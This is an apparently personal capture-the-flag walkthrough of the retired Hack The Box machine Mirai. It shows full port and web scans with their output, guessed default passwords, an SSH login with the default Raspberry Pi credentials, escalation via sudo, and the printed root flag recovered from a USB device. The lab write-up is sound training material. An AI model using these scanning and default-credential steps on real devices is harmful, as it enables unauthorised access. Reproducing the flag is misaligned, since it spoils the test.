HTB Walkthrough: Mirai
Welcome to this walkthrough for the Hack The Box machine Mirai. This one is listed as an ‘easy’ box and has also been retired, so access is only provided to those that have purchased VIP access to HTB. Because of this, you may notice that it is necessary to be connected to HTB’s VIP VPN server, rather than the free server. To do this, change the dropdown selection in the top right corner where you select “Connect” to “VIP” and download the .ovpn package (yes, even as a paid user, you must toggle between free and paid VPN packages depending on the machine).
Scanning & Enumeration
I went ahead and started my NMap scan and then plugged the IP address into the browser to check for HTTP and HTTPS respectfully: 10.10.10.48:80 & 10.10.10.48:443
Port 80 loaded a blank web page, so I initiated a directory scan and Nikto web-server/CGI scan as well.
sudo nmap -sS -A -sV -T5 -p- 10.10.10.48 | tee nmap_full.txt
dirb http://10.10.10.48/ /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt | tee dirb.log
nikto -h "http://10.10.10.48/" | tee nikto.log
NMap Results
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
53/tcp open domain dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http lighttpd 1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: lighttpd/1.4.35
1094/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open http Plex Media Server httpd
|_http-title: Unauthorized
|_http-favicon: Plex
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
32469/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Nikto Results
PORT 80
+ Server: lighttpd/1.4.35
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-pi-hole' found, with contents: A black hole for Internet advertisements.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
PORT 32400
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-plex-protocol' found, with contents: 1.0
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ /clientaccesspolicy.xml contains a full wildcard entry. See http://msdn.microsoft.com/en-us/library/cc197955(v=vs.95).aspx
+ /clientaccesspolicy.xml contains 12 lines which should be manually viewed for improper domains or wildcards.
+ /crossdomain.xml contains a full wildcard entry. See http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site.html
+ Server is using a wildcard certificate: *.78063b2b367a4a389895262d75b0b03c.plex.direct
+ Hostname '10.10.10.48' does not match certificate's names: *.78063b2b367a4a389895262d75b0b03c.plex.direct
+ Retrieved access-control-allow-origin header: *
+ OSVDB-39272: /favicon.ico file identifies this app/server as: Plex Media Server
+ Uncommon header 'x-plex-content-compressed-length' found, with contents: 157
+ Uncommon header 'x-plex-content-original-length' found, with contents: 193
+ The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack.
+ /webmail/: Web based mail package installed.
Dirb Results
PORT 80
==> DIRECTORY: http://10.10.10.48/admin/
+ http://10.10.10.48/versions (CODE:200|SIZE:13)
PORT 32400
~ Hundreds of results returning as existing but unable to access them -- false positive?
Port 80 - Pi-Hole
As we see from our NMap scan results, 10.10.10.48:80 doesn’t have a title and after inspecting the page, appears entirely blank.
After navigating to 10.10.10.48/admin/ (and nearly a timeout attempting to do so), we find a login portal for Pi-hole.
Note: Tracking these requests via Burp, we see a Set-Cookie PHPSESSID response from /admin/
Additionally, we are able to grab some version numbers.
With simple OSINT we find default credentials for a Pi-hole user (a Raspberry-Pi device) are:
pi:raspberry
But, as we can see by clicking Forgot Password, a password is uniquely generated each time the software is installed for a user.
However, it gives us the console command to change that password :
sudo pihole -a -p
Which then prompts you for a new password in the terminal.
However, we do not currently have user access.
I did some info. gathering on Pi-hole and learned a lot about it.
Essentially, Pi-hole is a Raspberry-Pi based Linux application that serves as a network level ad-blocker via DNS.
In one demonstration, I learned that Pi-hole can be accessed locally, via the web, or over SSH… an active service on this box.
Port 32400 - Plex Media Server
When navigating to 10.10.10.48:32400, we are redirected to 10.10.10.48:32400/web/index.html which is a login page for Plex.
Plex Media Server, developed by Plex, Inc., is used to organize and host audio, videos and photos in a client-server fashion which allows connected devices to stream media.
I tried some default credentials here:
admin:admin
admin:password
root:root
root:toor
But nothing went through, so I referred back to my Nikto scan.
Trying to navigate to /webmail/ was not fruitful, and the tip on performing a BREACH attack was not helpful. Read more on BREACH attacks here.
Short answer: BREACH attacks require a victim to initiate them.
Trying to visit other directories on this port most often loaded a blank XML file.
Initial Access via SSH
Without overworking the web-enumeration (as this is an easy box), I decided to try the default Raspberry-Pi credentials over SSH.
ssh pi@10.10.10.48
The authenticity of host '10.10.10.48 (10.10.10.48)' can't be established.
ED25519 key fingerprint is SHA256:TL7joF/Kz3rDLVFgQ1qkyXTnVQBTYrV44Y2oXyjOa60.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.48' (ED25519) to the list of known hosts.
pi@10.10.10.48's password: raspberry
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
pi@raspberrypi:~ $
Alright, so we have access to the user pi on the host raspberrypi.
User Flag
Navigate to ~/Desktop for the User Flag:
cat ~/Desktop/user.txt
Privilege Escalation
I escalated to root almost immediately by changing my current user to super-user :
sudo su
root@raspberrypi:
Post-Exploit Enumeration - Root
Navigating to /root/ for the flag, we encounter a different puzzle :
root@raspberrypi:/tmp# cat /root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
Locating USB
So it appears we need to find the USB in order to get the flag. To detect it, run the following command :
root@raspberrypi:/tmp# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 10G 0 disk
├─sda1 8:1 0 1.3G 0 part /lib/live/mount/persistence/sda1
└─sda2 8:2 0 8.7G 0 part /lib/live/mount/persistence/sda2
sdb 8:16 0 10M 0 disk /media/usbstick
sr0 11:0 1 1024M 0 rom
loop0 7:0 0 1.2G 1 loop /lib/live/mount/rootfs/filesystem.squashfs
Alright, awesome. So we found the stick and it’s already mounted to a directory for us (/media/usbstick).
Note: If it wasn’t already mounted, we could easily do that by making a new directory and using the mount command :
sudo mkdir /media/usb
sudo mount /dev/sdb /media/usb
Exploring USB - Root Flag
So, we have found the directory we need which has a text file in it :
root@raspberrypi:/media/usbstick# ls
damnit.txt lost+found
root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
Great, more hunting. Thanks, James.
I tried many different types of enumeration before getting this final flag.
Initially I tried looking for deleted files via inodes in /dev/sdb :
root@raspberrypi:/media/usbstick# debugfs /dev/sdb
debugfs 1.42.12 (29-Aug-2014)
debugfs: lsdel
But this returned zero results (if it did hit, you can them retrieve the deleted files via: dump filename) :
I also hosted a bundle of TestDisk + PhotoRec for Linux and downloaded it but couldn’t get it to fire off right.
Putting my CTF cap on, I started running commands to identify more information about the file: file, strings, etc.
Until I reached a breakthrough, running the strings command on the disk itself :
root@raspberrypi:/media/usbstick# strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e483143ff12ec505d026fa13e020b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
And there you have it, the root.txt flag!